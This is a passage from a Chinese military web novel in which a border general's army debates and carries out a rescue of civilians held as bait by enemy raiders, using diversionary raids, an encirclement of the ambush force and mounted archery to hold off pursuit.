“三千多百姓,若是任由羌兵把他们掳回草原,注定是十死无生。”
洛羽看向几位将军:
“都说说吧,我们救还是不救?”
屋中略显安静,无人开口。
君沉与凌桐对视了一眼,默然不语,他们始终觉得出城救人听起来像是天方夜谭,原因很简单,这么多年来面对羌兵犯境,陇西边军能做到据城坚守就不错了,从未主动出击过。
关外可是羌骑的主战场,在空旷的平原上面对数以千计的战马冲锋,他们不敢想。
还是萧少游第一个开口:
“我觉得此事不太对劲。
诚然,手无寸铁的老百姓对羌兵构不成威胁,但寒山关刚丢,他们应该加强戒备才对,五百人的驻军太少了。
而且你们看看地图,难民营的位置太靠前了,四周也无其他军营布防,总给人一种故意送给我们打的感觉。”
君沉愕然道:“萧将军认为难民营是羌兵抛出的诱饵?”
“没错!”
萧少游重重点头:
“咱们一夜攻克寒山关,用近万羌兵的人头筑起一座京观,相当于一巴掌打在了西羌皇子的脸上。以耶律乌戈睚眦必报的性格,绝不可能白白咽下这口气。
敌军兵力在我们面前已无优势,不可能通过攻打寒山关报仇,他们要想赢就只有一条路,引诱我军出城野战!
你们再看,从寒山关到难民营只有一条路可以走,那就是从寒山脚下穿过去,寒山天险足以供羌兵设伏,不觉得这个位置太巧了吗?
我若是耶律乌戈,定会在此地设伏,重创我军!”
众将目光凝重,下意识地点了点头,萧少游的分析很有道理。
“你的想法与我不谋而合,难民营很可能是耶律乌戈的诱饵,想逼我大军出城野战。”
洛羽讥笑一声:
“我有一种感觉,这甚至算不上阴谋,而是羌兵逼我们出战的阳谋。”
他继而看向萧少游:
“所以你的意思是?”
萧少游咬了咬牙,好不容易才下定了决心:
“不救!”
众人心头一颤,洛羽的眉头也皱了一下。
“不是我不想救,而是救不了。咱们不该随便抛弃百姓,但用数千将士的命去冒险,不值得。”
萧少游冷声道:
“别怪我心狠。说句难听点的话,三千多百姓就算是全部死了,陇西依然是陇西,寒山关固若金汤,境内百姓安居乐业。但数千将士要是命丧疆场,边关很可能会守不住,丢城失地、丧权辱国,到时候死的人更多。”
众人沉默。
他说得对。
“我赞成,不救!”
短短的五个字,君墨竹的嗓音却在微微发抖,墨色长衫下的手死死地攥住椅把:
“为了夺回寒山关已经死了不少兄弟,好不容易稳住边防,不该再冒险。”
屋中死一般的压抑。
以前被羌兵劫掠出关的百姓很多,似乎从未有人在意,可这次亲耳听到不救两个字却心如刀绞。
“没错,三千多百姓死了,陇西还是陇西,羌兵越不过寒山关。”
洛羽终于开口了,面无表情:
“但你们有没有想过,陇西的人心就是这样一点点没了。”
“假如这些百姓里有我们的父母妻儿怎么办?救不救?今日三千人我们不救,下次两千人我们还是不救,日积月累,终有一天会被掳走的会是我们的亲人。
我们是谁?我们是陇西边军!
为何羌兵视我边军于无物?因为他们知道,陇西的兵卒都是孬种,不敢跟他们一战!
为何百姓也对边军嗤之以鼻?就是因为人心散了!是我们这些边军一次又一次地寒了百姓的心!
我知道,以前百姓被掳走从未提过救援二字,因为所有人都觉得打不过羌兵,不去营救视作理所当然。
真的理所当然吗?”
洛羽拍着胸口的甲胄:
“我们现在穿得每一片甲胄,吃得每一口粮食是从哪儿来的?那都是百姓交上来的税赋,是老百姓在养我们!眼睁睁看着他们去死,对得起边军这两个字吗!”
一声声质问让大家的脸上多出了些许羞愧。
“洛将军,你说的这些道理大家都明白,可我还是觉得不该冒险。明知山有虎,偏向虎山行绝非明智之举!”
君墨竹反问道:
“你有没有想过,就算能攻克难民营、救出老百姓,怎么把他们接回寒山关?数十里的路啊,要走上一天一夜!到时候羌兵派大队骑军追击,我们怎么保护难民?
会死很多人的!”
“不试试怎么知道?我边军岂惧羌人!”
“洛羽!你不能拿将士们的命去冒险!”
君墨竹有些急了,直呼其名:
“万一战败,多少将士会死!你想过他们的家人吗!我知道,阙州各营的将士都是顶天立地的汉子,不怕死。
但不怕死并不意味着他们就该死!”
“可我们是军人,他们是百姓!”
洛羽的嗓门也越来越大:
“保护百姓本就是边军之责!边军颓废多年,该让老百姓们知道,我们有能力保护他们!”
洛羽和君墨竹大眼瞪小眼,激烈的争执令众人不敢接话。
沉默许久,洛羽的情绪稳定了下来,摇了摇头:
“我不是什么大善人,更没有所谓的圣母心,如果是一条命十条命,死了就死了,因为这是乱世,人命本就如草芥。
可现在是三千多条命!有多少妻子、儿子在盼着他们的丈夫、父亲回家!
我是安西将军,我是领军主将,我做不到一句话就放弃数千人的命!我,还有你们,凭什么决定他人的生死!”
众人面色怔怔,是啊,凭什么他们几个坐在这聊聊天就决定了那些百姓的生死。
“少游,你说得没错,不救百姓我们可以保证寒山关安然无恙。”
君墨竹沉默了,一言不发。
“君兄刚才说得很对,将士们不惧一死,但决不能白白去送死!我说救人,并不是冲昏头脑地去冒险,去死拼,自然得想一个尽可能安全的方法。
少游,你说的也没错,不救百姓我们可以保证寒山关安然无恙,冒险可能会死很多人。但你忘了吗,以前你说过期待边军成为一支铁血雄师,现在我们就有一支铁血雄师!
今非昔比了!”
洛羽的嗓音铿锵有力:
“我向你保证,向诸位保证!我们不仅能救回百姓,也能让寒山关屹立不倒!”
话音落下的那一刻,大家犹豫不决的目光似乎变得坚定。
洛羽看向众人:
“我最后问一遍,愿不愿意陪我试一试!”
“那就试试!”
萧少游握了握拳头,朝洛羽投去一抹歉意的笑容:“总不能一直冷血吧。”
“你呢?”
洛羽看向了君墨竹,君墨竹虽然已经被说服,但还是气呼呼地瞪了他一眼:
“吵不过你,你说了算!”
这两人同意,另外三名武将自然没有异议,齐声喝道:
“听凭将军吩咐!”
其实刚刚洛羽说那一番话的时候几人就觉得心中热血翻滚,心底有一股冲动在告诉他们:
去救!
“很好。”
洛羽欣慰一笑,转身看向地图:
“那就让我们与耶律乌戈斗一斗!”
第224章就是诱饵
羌军帅帐
耶律乌戈漫不经心地翻阅着近期军报,帐中站着两位身材壮硕的武将:万户猛安兀良平、万户猛安骨力台。
此行羌军兵犯陇西,总计有五名猛安随行,结果打到现在只剩他们两还活着,开战之前没人想过战事会发展到这一步。
兀良平躬身道:
“殿下,从草原调来的五千军卒已经补入各军,在曳落河一线我军总计有两万兵马,营中粮草充足,唯一缺少的就是被褥、棉服,末将已经派人回去催了。”
“很好。”
耶律乌戈微微抬头:
“天寒地冻的时节,本该带着兄弟们回草原避寒,可在寒山关栽了这么大的跟头,本殿实在咽不下这口气啊。
传我军令,今夜各营分酒、杀羊、玩女人,犒赏三军!等打赢了仗,本殿还有重赏!”
“谢殿下!”
兀良平与骨力台面带喜悦,别看耶律乌戈平日里放荡不羁、荒淫暴虐,但对手下的军卒没得说,该赏就赏,绝不吝啬。
“对了殿下,还有一件小事。”
兀良平轻声道:“昨日营中发生一件怪事,有一队斥候失踪了。”
“失踪了?”
耶律乌戈毫不在意地说道:“要么死了要么逃了,如此小事何须汇报。”
这些天双方斥候交战频繁,失踪是常有的事,鬼知道尸体被扔到哪儿去了。
“咳咳。”
兀良平犹犹豫豫地说道:
“这标斥候隶属于难民营,按理说乾军游弩手侦查应该盯着中军大营方向,不该往难民营去啊。
殿下,末将觉得难民营的位置太靠前了,现在又被敌军游弩手发现,更加危险。
要不还是撤到曳落河以西吧,咱们还指望那群贱民替我们修筑营寨呢,可别被乾军小儿劫走了。”
“噢?难民营?哈哈。”
耶律乌戈突然笑出了声:
“啧啧,等了这么久,总算是等到他们了。”
两位猛安错愕:
“殿下何意?”
“实话告诉你们吧,难民靠前安营是我故意的。”
耶律乌戈转身面对地图,冷笑道:
“那个洛羽看起来道貌岸然,若是得知我们抓了这么多难民出来定会出兵相救,只要他敢出关,就是咱们的机会!”
“诱敌出击。”
骨力台瞬间会意,但又有些不屑:
“可是乾军有胆子出关吗?这么多年来可没人敢在关外与我大羌铁骑硬碰硬。”
“旁人不会,但他一定会!”
耶律乌戈讥讽一笑:
“等着吧,鱼儿很快就要咬钩了。”
……
寒山关的将军府里坐满了各营将军、校尉,人人神情肃穆。
洛羽面对众人:
“情况已经跟你们讲清楚了,数千百姓蒙难,咱们身为边军不能坐视不理。但羌兵很可能设下重重埋伏,凶险万分。
所以此战是虎口拔牙!在尽可能减少伤亡的情况下救回百姓”
“诺!”
在场武将几乎都是阙州军的悍将,他们才不会管什么凶险不凶险,洛羽指哪儿他们打哪儿。
萧少游起身站在地图前,用木棍轻轻一指:
“据游弩手探明,敌中军大帐的东南方有一座辎重营,囤积着大量粮草,对羌兵来讲十分重要。所以此战虎豹骑先行,越过曳落河,夜袭辎重营!
记住,不要死拼,能打就打,有危险就撤!”
“末将领命!”
蒙虎大咧咧地站了起来,得意洋洋的说道:
“我听明白了,这是声东击西之计,虎豹骑虚晃一枪进攻辎重营,然后再派一支精锐进攻难民营。
对不对!”
“呵呵,长本事了嘛,脑子转得很快。”
洛羽笑了笑:
“但你错了!虎豹骑发起进攻之后,由曹殇的第二营长途奔袭,直取敌中军帅帐!”
蒙虎一看自己猜错了立马闭上嘴巴,吃瘪的样子差点令众人笑出声。但他很不解,不是要救老百姓吗?跑去攻打中军干什么?
面的众人疑惑的目光,萧少游轻笑一声:
“声东击西之计太浅显了,容易被耶律乌戈看出来。
但曹殇的第二营奇袭中军大营会打他一个措手不及,这时候他就会慌了,会思考我们到底要进攻何处。
曹殇攻得越猛,耶律乌戈就越慌。只要他一乱,咱们就有可趁之机!”
“明白!”
曹殇狞笑一声:“那就看我把中军搅个天翻地覆!”
“最后由余寒弓、霍连城穿过寒山山脉,进攻难民营。说白了,蒙虎与曹殇两路兵马都是疑兵!”
洛羽的表情逐渐凝重:
“既然是诱饵,那肯定得让我们咬住鱼饵羌兵才会动手,所以拿下难民营会很简单,几百羌兵不足为惧。
难的是怎么把三四千老弱妇孺带回来。
从寒山关到难民营,六十里路,地形我看过,寒山谷口那一段山路最难走、也最容易设伏,这段路要命啊。”
此战洛羽并不打算动用血归军,毕竟他们刚刚大战一场,又补充了那么多新兵,还得休整一段日子。
萧少游戳了戳地图:
“如果是我领兵,伏兵不会一开始就进入寒山山脉,可以避免被敌军斥候发现。等两营骑兵成功拿下难民营的时候再占领两侧山口,到时候将山口一堵,后方精锐趁势追击。
两营骑兵外加数千百姓会被活活困死在山谷内!”
众将肃穆,此战听起来十分凶险。
洛羽沉声道:
“所以救出百姓后由霍连城护送百姓先回,余寒弓领兵断后。
再派两营步卒占领寒山两翼山脉,掩护百姓与大军后撤。这两营就由先……”
先登营三个字还没说出口就被君沉打断了,老将军郑重抱拳:
“洛将军,定州军请战,掩护大军!”
凌桐同样迈步而出:
“并州军也请战!”
两人的主动请战让众人错愕,就连君墨竹似乎也没想到会有这么一出。要知道自从开战以来,两州军卒是能避战就避战啊。
洛羽眉头微挑,有些不太确定地问道:
“两位将军可曾考虑清楚了,如果难民真是羌兵的诱饵,那羌兵势必会猛攻寒山山脉,到时候你们两支兵马将会陷入一场苦战啊。”
面对众人异样的目光和洛羽的反问,君沉老将军坦然一笑:
“洛将军自己都说了,咱们是陇西边军,总不能厚此薄彼吧?
前面几场战事阙州军都是主力,咱们看得心痒痒,硬仗苦战也该轮到我们来打了!”
看似轻松的话语中却带着坚定,君墨竹十分欣慰,这才像他认识的老将军嘛。
“好!”
洛羽不再犹豫,点头同意:
“那就由两位将军各带两千步卒扼守山脉,挡住来袭羌兵,替骑兵守住退路。
记住,必须死守一天一夜,直到所有百姓和军卒安然撤回寒山关!”
“诺!”
洛羽环视全场:
“都回去准备吧,明晚各营出动!”
第225章洛羽,我来和你斗一斗
曳落河西岸亮着团团火光,高高的粮仓遍布营中。
这就是羌兵的辎重营,绝大部分粮草都是从定州关内抢来的,草原人可没本事种出这么多粮食。
屯粮重地,守卫森严,前沿布下了三道哨卡,每一道都是鹿角拒马、长枪盾牌林立。自从打了几场败仗,羌兵再也不敢小觑乾军,大半夜的还把眼睛瞪得像铜铃。
一排军卒守在营外,如临大敌,领头的百户眉头紧皱,目光一直盯着前方夜色,耳中隐约传来些许轰鸣声。
“妈的,什么动静。”
百户怒喝一声:
“火箭照明,放!”
“嗖嗖嗖!”
一批闪烁着火点的羽箭腾空而起,刹那间照亮夜空,面前的景象令羌兵惊恐万分。
数以千计的战马不知何时逼近到了营前,正在逐渐提速冲锋,战马在黑暗中奔腾的样子甚是可怖。
“乾,乾军。”
百户哆嗦了一下,破口大骂:
“妈的,外围巡逻的斥候为何不示警!”
其实外围的几标斥候早就被游弩手杀得干干净净,除非鬼能飘回来报信。
“轰隆隆!”
火箭一亮就意味着暴露,前排骑军不再隐藏身形,而是策马狂奔,声势浩大,眨眼间就逼近阵前。
一排排悍卒低伏身形,锋利的长矛已然高举空中。
“好快的马。”
羌兵百户满脸惊惧,声嘶力竭地吼道:
“击鼓示警!准备迎战!”
“砰!”
“噗嗤!”
就喊了这么一句话,冲在最前方的雄壮大马便凌空而起、越过鹿角,一枪捅穿了他的胸口。
蒙虎轻轻一用力便将死尸甩飞出老远,砸得羌兵人仰马翻,狞笑一声:
“给我杀!”
……
不止是辎重营,在蒙虎开战仅仅半个时辰之后,曹殇的第二营就抵达了中军战场。
两千多人极为蛮横地杀穿了一座前哨军营,朝着帅帐一路杀去。这还了得?数不清的羌兵从四面八方围了过来,两军展开了混战。
“哈哈哈,痛快!”
曹殇朗笑出声,一枪将正前方的敌骑刺落马背,随即血淋淋的枪杆横着一扫,便击退多名想要逼近身前的敌军。
曹殇大开大合的招式与蒙虎不相上下,凶悍的攻势在羌兵阵中如入无人之境,嘴上还在怒声嘶吼:
“给我杀!”
“将军说了,取耶律乌戈首级者,赏金千两!”
第二营将士人人奋勇,大杀四方,两千多人愣是打出了五千精锐的气势,一时间羌兵竟然拿他们毫无办法。
随着辎重营、中军大营先后起火,曳落河两岸的羌兵军营全都陷入了躁动,战鼓声号角声此起彼伏,数不清的哨骑往来各营传递军令。
从睡梦中惊醒的耶律乌戈已经登上了一座土坡,注目远眺,连天一色的火光照亮了半边天,尤其是曹殇那支兵马,距离中军大营只有咫尺之遥,随时可能突进帅帐。
“查清楚了吗,进攻辎重营的分别哪路兵马?”
“阙州虎豹骑!”
“中军呢?”
“还不确定,没有看到营旗,但看交战的激烈程度一定是敌军主力。”
“到处都在打仗,动静闹得真大啊。”
耶律乌戈目光微凝,不知道在想些什么。
兀良平小心翼翼地说道:
“殿下,辎重营那边营墙坚固,尚且还能顶一会儿,但中军大营面临的压力太大了。要不,要不还是把那支六千人的精骑调过来吧?”
“不行,这六千骑是给难民营准备的,绝不能动!”
为什么曹殇凭着两千多人就能在羌兵腹地横冲直撞?因为耶律乌戈准备了一支精锐,打算一口吃掉被鱼饵引出来的乾军,这就导致守卫中军的兵力变得薄弱。
“殿下,只怕乾军不会攻打难民营了吧?”
骨力台苦笑一声:
“敌军主力已经出现在辎重营和中军大营,哪来的兵力去攻打难民营?咱们会不会猜错了?”
“猜错了?不应该啊。”
耶律稳乌戈眉头微皱,陷入了沉思。
一开始虎豹骑进攻辎重营的时候他肯定是声东击西之计,可当黑甲骑兵进攻中军大营后他就有些拿不准主意了。
难道两路都是疑兵?还是说洛羽根本没想着救百姓?
耶律乌戈目光远望,他能清晰地看见大营前方火光四起,数不清的军卒正在交战,战场已经十分靠近中军。
如果猜错了乾军的进攻意图,中军帅帐可就有危险了。
“殿下?六千骑到底动不动?”
看到耶律乌戈陷入沉默,兀良平和骨力台有些焦急,毕竟皇子的安全才是最重要的。
“原计划不变!我坚信乾军的目标是难民营!”
耶律乌戈目光冰冷,终于下定了决心:
“告诉各营主将,只守不攻,死死挡住乾军就行,谁丢了阵地我砍谁的脑袋!
骨力台,你带兵出发吧,只要乾军敢出兵,就让他们尸骨无存!”
耶律乌戈袍袖一挥,四平八稳地坐在一张太师椅上:
“今日我就要和洛羽斗一斗,谁能笑到最后!”
……
这里是难民营,随着羌兵都尉被霍连城一枪捅死,五百守军全军覆没。
鲜血淋漓的尸体随处可见,还有许多惶惶不安的百姓被乾军召集起来,开始向东撤退。
“该死的羌贼,真是不把百姓当人看啊。”
望着衣衫褴褛、在寒风中瑟瑟发抖的百姓,霍连城气愤不已,严寒深冬竟然只能靠一件单衣御寒,早晚要冻死。
余寒弓扫了一眼乌泱泱的人群,脸色忧愁:
“将军说得对,救出人很简单,难的是怎么把百姓安全送回寒山关。”
数以千计的难民,老弱妇孺皆有。霍连城的第五颖带了很多马车、骡车,老人小孩优先坐车,剩下的青壮跟着军卒徒步回城。
饶是有大批士兵在旁指挥,整座军营还是显得乱糟糟的,他们可不是训练有素的边军,而是互不相识的老百姓,毫无纪律可言。
“蒙虎和曹殇应该已经进攻了,但愿他们能吸引耶律乌戈的注意力吧。”
“驾!”
“哒哒哒!”
一匹快马从前方疾驰而来,两人定睛一看正是游弩手百户沐峰。
霍连城急忙问道:“怎么样,有没有羌兵的动向?”
沐峰急声道:
“有一支六千人的轻骑正在越过曳落河,朝此地赶来。”
“六千人!这么多!”
两人被这个兵力惊到了,如果六千骑追上来,两营兵马还得保护数千百姓,只能被屠杀,毫无还手之力。
“辎重营和中军大营都遇袭,羌兵竟然还敢派六千骑出来,看来难民营真是诱饵啊。”
余寒弓面色冰寒:
“霍将军,咱们还按计划行事,你护送百姓先走,我来断后!”
“好!”
沐峰突然从怀中掏出一个锦囊递给了余寒弓:
“余校尉!这是出发前萧将军让我交给您的,说是撤至寒山谷口时打开,按囊中计行事。”
“噢?”
两人眼中同时闪过一抹好奇,锦囊中写了什么?
第226章四军合围
寒山脚下有一条狭窄的山谷,仅有四五里长,出了山谷两侧便皆是茫茫黄沙,一望无际。
这里是百姓回撤寒山关的必经之地,也是洛羽和萧少游认为最有可能遭遇的伏击地点,所以君沉、凌桐二人就守在两侧山坡,用数以千计的军卒为百姓们开辟出一条生命通道。
整场战事的发展和战前预料的一模一样,羌兵为了躲避游弩手的侦查,一开始并未在两侧山坡藏伏兵,而是等乾军回撤后才冒头,结果迎面撞上了君沉、凌桐二人的兵马。
耶律乌戈为了围歼乾军可不止准备了六千骑兵,还准备了四千精悍步卒!
激战骤起!
“嗖嗖嗖!”
“杀啊,攻上去,给我攻上去!”
羌兵攻,乾军守。
山坡并不算高耸,两州军卒就依靠弓弩盾牌在半山腰严防死守。
羌兵的攻势极其猛烈,一批批精悍步卒犹如潮水般往上冲。只有击溃山坡上的守军他们才能扼守山谷,从而堵死两营骑兵和难民撤回寒山关的路。
箭矢漫天飞舞,石块和擂木顺着山坡不断滚落,一些羌兵被石块正中额头,砸得脑浆飞溅,还有人被射成了马蜂窝,横尸当场。
可鲜血没有让羌兵产生畏惧,反而激起了他们心中的戾气,一个个健步如飞,不避箭矢奋力前冲,眨眼间就有悍卒逼近阵前。
“喝!”
只见一名羌兵高高跃起,用自己的后背撞向了盾牌,砰的一声盾阵便被撞开,此人横手一刀就砍死了一名定州步卒,刀法极为凌厉。
“一群乾狗,也敢与我大羌作对!”
羌兵面目狰狞,杀气腾腾的环视全场:
“有胆子的上来,看看是你们的脖子硬还是老子的刀硬!”
这股悍勇之气还真镇住了不少军卒,前面几场大战他们都是跟在阙州军后面打打杂,头一回独自面对羌兵精锐,绝大多数的新兵都有些惊惧。
瞧得自己虎躯一震便镇住了敌军,羌兵越发嚣张:
“哈哈哈,果然啊,阙州军能打,但另外两州都是怂包!”
就连羌兵都知道,一场场胜仗都是靠阙州军打出来的,另外两州军卒就像是不存在一样。
“老子跟你过过招!”
已经升任定州军都尉的林戈站了出来,手中拎着一把制式苍刀,这是许韦送给他的。
“就凭你?乳臭未干的小儿!”
羌兵狞笑一声,单手握刀肩膀抡圆,横着就扫了过来。
林戈不闪不避,硬碰硬与其对了一刀,两人同时手臂一麻,强劲的臂力令羌兵目光微惊,顿时收起了心中的轻视。
还不等他有所防备,林戈先一步动了,没有收刀而回,而是刀锋一转,从上往下这么一挑就用一股巧劲挡开羌兵的刀锋,然后在他惊骇欲绝的目光中笔直砍向咽喉。
“噗嗤!”
刀锋滑过,一道血箭飚射而出,瞬间断气的尸体直愣愣地往地上一栽。
“看到了吗,羌贼也是人,一刀砍下去也会死!”
林戈当着全场军卒的面一刀砍下人头,怒喝道:
“怕什么!跟他们干!”
有了林戈带头,新兵蛋子们总算是鼓足了勇气,拎起弯刀与羌兵冲杀在一起,整座山谷间都回荡着两军的嘶吼声。
山坡高处,君沉在默默注视这一切,略带欣慰:
“林戈倒是个好苗子,假以时日怕是能成为一员悍将啊。”
站在一旁的副将苦笑道:
“但军中惧敌的情绪依旧存在啊,若是人人都能像林戈一样骁勇善战就好了。”
君沉眉宇微皱,确如副将所言,不少士卒在对战羌兵时表现得很畏惧,明明己方处于守势,占着地利之优,却被羌兵压着打。
“将军您看!难民来了!”
副将一声惊呼,君沉扭头看向山中谷道,霍连城终于护着难民出现了。
前方是上百辆马车、骡车,全都坐满了老弱妇孺,后面是数不清的青壮男子徒步前行。
第五营骑卒一分为二,一半混在人群中搀扶老人、小孩,另一半则警戒两翼,随时应付突发的变故。
喊杀声回荡在山谷中,令百姓们面色惶惶,不停地加快脚步,只想早点回到寒山关。
“这,这队伍也太长了吧。”
副将目瞪口呆,顺着山路远眺,队伍一眼都看不到尽头,这得走到猴年马月啊。
“咕噜。”
副将咽了口唾沫,小心翼翼地说道:
“将军,如果我们没能挡住羌兵,这后果……”
“阵地不会丢!”
君沉的表情突然变得冷漠,带着亲兵直接来到了两军交战的前沿。
己方士卒愕然,老将军怎么到如此危险的地方来了?
头顶飞舞着箭矢、四周回荡着凄厉的厮杀声,君沉持刀而立,怒喝道:
“此前洛将军说过,我们是陇西边军!军人就要有军人的样子!
黑岩山口一战,阙州军大捷,我们却被打得落花流水!寒山关一战,我们又畏战不前!
看看人家阙州军!同样是陇西男儿,凭什么人家就比我们强!就连羌贼都看不起我们!
一怕再怕,一败再败,我们究竟要怕到什么时候,败到什么时候!”
老将军的嗓音无比雄厚,回荡在所有人的耳边,令他们面色羞愧。
“阙州军敢打硬仗,我们也敢!”
君沉怒喝道:
“今日我两千军卒就钉在此地,一步也不得后退!都给我拿出男人的血性!
如果要死,本将军陪你们一起死!”
众将士目光猩红,咬牙切齿。
“杀!”
林戈率先怒吼:
“坚守阵地!挡住羌贼!”
“杀!”
一声声冲天怒吼响彻云霄,在心头积攒多年的恐惧终于在这一刻化作战意!
对面山坡的凌桐也亲临一线指挥战斗,两州军卒的怒喝声此起彼伏,回荡山谷。
全军上下士气大增,原本脆弱的防线一下子牢固了许多,羌兵一轮又一轮的进攻全都被打退了。
一名羌兵千户骂骂咧咧:
“定州并州的兵不是一向胆小如鼠吗?今天怎么突然不怕死了?”
“嗖!”
“噗嗤!”
话还没说完,一支利箭就从远处飚射而来,当场射穿了他的头颅。
四周羌兵目瞪口呆,随即他们就听到一阵尖锐的破空声划破云霄:
“咻!”
响箭之下,徐松、石敢两营兵马从山坡背后大军杀出,与君沉、凌桐对羌兵形成了合围之势。
这一刻所有羌兵面色煞白。
韩朔慢悠悠地登上高处,讥讽一笑:
“为了引你们上钩,真不容易啊。”
第227章逗猫遛狗
“驾!驾驾!”
负责断后的余寒弓总算是率军来到了寒山脚下,虽说六千羌骑就追在身后数里处,但起码霍连城已经护送百姓安全通过了山谷,此行的任务算是完成了。
不少将士的甲胄上都沾着血迹,刚才羌兵一路追击,余寒弓回头打了两次小小的反击,也不恋战,打完就走,硬生生遏止了羌兵追击的步伐。
两侧山坡的喊杀声震耳欲聋,一声声凄厉的哀嚎回荡在山谷之间,令人毛骨悚然,山坡上还能看到先登营与第七营的旗号,余寒弓愕然道:
“咦,怎么徐松和石敢也来了,他们俩不是应该留守寒山关吗?”
余寒弓有些懵了,这似乎和一开始的计划不一样啊。
身侧的汉子赶忙说道:“萧将军不是给了锦囊吗?想必与此事有关!”
万纲,余寒弓麾下排名第一的都尉,当初在二道岗当土匪的时候他就跟在其麾下,一手箭法深得余寒弓真传。
“对对对,锦囊!”
余寒弓一拍脑门,赶忙打开锦囊,里面有一封萧少游的亲笔信:
既已打开锦囊,想必第四营已经抵达寒山脚下,追兵近在咫尺。请余校尉转身迎敌,拖住身后追兵至日落时分,为我大军围歼敌军伏兵争取时间!
“乖乖,萧将军真是妙计啊。”
余寒弓愕然道:
“我一直以为救出百姓才是此战的目的,合着他还想顺手吃掉前来伏击的羌兵。”
“哈哈,这才叫痛快嘛!”
万纲朗笑一声,杀气腾腾地说道:“那咱们就回身一战,看看六千羌骑能耐我何!”
“不要胡闹。”
余寒弓白了他一眼:“两千对六千,决不能蛮干,咱们得动动脑子!”
“动动脑子?”万纲摸了摸脑袋,茫然无比:“何意?”
余寒弓嘿嘿一笑:“咱们的马快、弓强,今日就好好陪羌兵玩一玩!”
“跟我来!”
大批骑军迅速掉头,没有进入狭窄的山谷,而是在空旷的平原中列阵,一人一柄刀、一张弓。
“轰隆隆!”
没一会儿轰鸣的马蹄声就响了起来,大批羌骑跃出地平线,气势汹汹地杀来,当他们看到乾军列阵的时候也下意识的勒住了缰绳。
领兵而来的万户猛安骨力台眉头微皱:
“奇了怪了,乾军怎么不跑了。”
身侧将领讥笑一声:“一定是山谷被咱们的兵马堵住了,他们上天无路、入地无门,哈哈哈!”
“有道理。”
骨力台掂了掂手中弯刀:
“都看到了吗!前面就是你们的军功,砍下他们的人头,为寒山关战死的兄弟报仇!”
“杀!”
“轰隆隆!”
羌兵呼啸而出,手中弯刀飞舞,区区两千余骑在他们眼中不堪一击!
余寒弓手持**,嘴角勾起一抹诡异的笑容,猛地一扯缰绳:
“驾!”
“轰隆隆!”
两座骑阵在平原上纵马狂奔,随着余寒弓手臂轻抬,数以千计的骑兵同时弯弓搭箭,抬臂上举。
“放!”
“嗖嗖嗖!”
箭矢腾空而起,蔚为壮观,迎面朝着羌兵骑阵一砸。
“噗嗤噗嗤!”
“啊啊啊!”
骑阵中哀嚎连连,坠马者不计其数。
“哼,雕虫小技。”
骨力台舔了舔干裂的嘴唇,加速前冲,骑射这一套羌兵台熟悉了,只有冲过去近身肉搏,才能让箭矢无用武之地!
眼瞅着敌军近在眼前,羌军怒吼出声,人人气势鼓胀:
“杀!”
本以为是一场酣畅淋漓的凿阵,结果两千阙州骑并未迎战,而是在泼射出最后一波箭矢之后全**向右侧,余寒弓还不忘回头嘲讽了一句:
“一群蠢货,谁要和你凿阵!”
“王八蛋!想跑!”
骨力台**一横:“给我追!”
两座骑阵一前一后,纵马狂奔,两千轻骑时不时地回头放箭,一波波箭矢不断落入羌兵阵中。
两千阙州最精锐的**手,他们曾经在校场上一次次练习箭术、骑射,直到臂力枯竭,如今在马背上弯弓搭箭的动作无比娴熟,整齐划一,一名名羌兵在锋利的箭矢下炸成一团血花。
追着追着骨力台终于发现不对劲了,乾军似乎总与他们保持着一箭之地,既追不上又能控制在**的射程之内,看似对面在落荒而逃,实则**的一直是己方。
“妈的,敢耍我!”
骨力台气急败坏,只能催促骑兵不断加速。
“哈哈哈,蠢蛋!”
万纲大笑着又射出一箭,正中一名羌族百夫长的咽喉:“这群蠢货连我们的马尾巴都摸不着!”
余寒弓啧啧称奇:“怪不得在洛将军给我们换了马,原来是早知道我有用武之地。”
出关之前,洛羽给第四营全军换上了城内最快的马,当时他以为是方便断后,现在余寒弓才明白洛羽的用意,原来是要让他发挥出战马和**的优势拖住敌骑。
“再放!”
“嗖嗖嗖!”
又是一轮箭雨,羌骑再次倒下数十人。骨力台气得七窍生烟,却无可奈何。这次他们没带**,战马又不及敌军,只能被动挨打。
“将军,这样下去不是办法啊。”一名千夫长焦急道:“再跑下去咱们的马就废了。”
骨力台咬牙切齿地看着远处游刃有余的乾军,手掌一挥:“分兵!左
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右包抄!我看他们怎么躲!”
羌族骑兵立刻分成三股,试图从两侧包抄,骨力台亲领中军紧追不舍。余寒弓见状,眼中闪过一丝精光。
“万纲,咱们打个配合,集中突破中路!”
“好嘞!”
乾军骑兵瞬间变换队形,两千骑兵分两路,余寒弓与万纲各领一队,不再前冲,而是掉头转向,从三支羌骑的缝隙中游走,犹如一把尖刀直插羌骑中军,箭矢从仰射变成了平射,射得羌骑人仰马翻。
骨力台大惊失色,他万万没想到余寒弓会直接放弃两翼的防守直取中军,连忙调兵回防,但为时已晚,两队骑军从羌骑缝隙中冲过,绝尘而去。
一追一赶,逗猫遛狗。
太阳渐渐西斜,战场上的形势却始终没有改变。羌族骑兵徒劳的追逐,却连乾军的一根汗**都碰不到。他们的战马已经气喘吁吁,速度越来越慢。
“混账!”
骨力台那叫一个气啊,万万没想到一场骑战连敌军的手都没摸到,白白被射**近千人。
不过也有好消息,乾军的箭用完了。
“没箭了吧?这下看你们怎么办!”
骨力台浑身舒畅,提着**破口大骂:
“一群缩头乌龟,接下来就是你们的死期!”
余寒弓讥讽一笑:
“骨力台,你猜猜我为何要陪你兜这么久的圈子?整整半天时间过去了,你们的伏兵吗?”
骨力台皱了下眉头,陡然想到了什么,猛地扭头看向山脉,只见满山飘扬的全是乾军旗号。
“中计了。”
骨力台心中咯噔一下,一瞬间他全都明白了,乾军早已看透他们的伏击计划,派出重兵围歼山谷中的四千步卒;余寒弓根本不是无路可逃、被迫迎战,而是故意要拖住他们,不让他们支援山谷战事。
“混账!你们这群懦夫,奸贼!”
骨力台咬牙切齿:
“什么阙州第四营,分明只是一群胆小鬼罢了!我呸!连正面迎战都不敢!”
骨力台一顿痛骂,发泄着心中的憋屈,第四营将士个个怒目圆睁,恨不得冲上去和羌兵硬碰硬地打一场。
余寒弓策马向前,面无表情地说道:
“这种激将法对我没用,今日老子没空陪你玩了。下一次见面,就是你的死期!”
“我们走!”
两千余骑缓缓撤入山谷,眨眼间就消失在天地之间。
一名羌兵副将小心翼翼地问道:
“将军,我们不追吗?”
“啪!”
气急败坏的骨力台一巴掌甩在了他脸上,破口大骂:
“追个屁!鬼知道山里藏着多少人,我们再被伏击怎么办!”
“回营!”
第228章还有后手!
日初清晨,寒山关城门大开,三三两两的百姓在士卒的搀扶下回到了关内。
